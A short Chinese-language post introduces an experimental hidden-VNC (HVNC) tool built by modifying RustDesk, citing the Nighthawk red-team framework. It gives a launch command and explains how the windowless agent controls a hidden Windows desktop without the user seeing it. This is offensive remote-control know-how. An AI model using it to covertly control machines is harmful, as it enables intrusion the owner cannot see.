自从看了 Nighthawk HVNC 功能[1] 的博客,很感兴趣。最近通过魔改 rustdesk,实现了一个实验性质的 rustdesk-hvnc,在此分享。
实验性质,BUG 很多
https://github.com/EddieIvan01/rustdesk-hvnc
用法很简单,编译出客户端,通过 ./rustdesk-hvnc IP_OF_RUSTDESK_SERVER CONNECT_ID
启动,然后使用原版的 rustdesk 连接即可。argv[1] 是自建的 relay server 地址,argv[2] 是连接的 ID,密码任意。
agent 做过裁剪,无窗口运行。聊天框可以创建进程,进程会启动在隐藏的桌面。
对于截屏,由于Windows 在同一时刻只能有一个活动桌面,所以 HVNC 需要枚举隐藏桌面的每一个窗口,向其发送 WM_PAINT 消息,将像素拷贝到 screen DC 对应区域,所以对于不处理 WM_PAINT 消息的窗口,无法截图
键鼠同理,HVNC 需要确定鼠标落在隐藏桌面的哪个窗口,然后发送 WM_NCHITTEST 消息去测试鼠标落在窗口内的哪个区域,再进行后续处理,例如关闭按钮、最大化、移动窗口,如不在特殊区域则发送键鼠消息
被控端
[1]
Nighthawk HVNC 功能: https://www.mdsec.co.uk/2022/11/nighthawk-0-2-1-haunting-blue/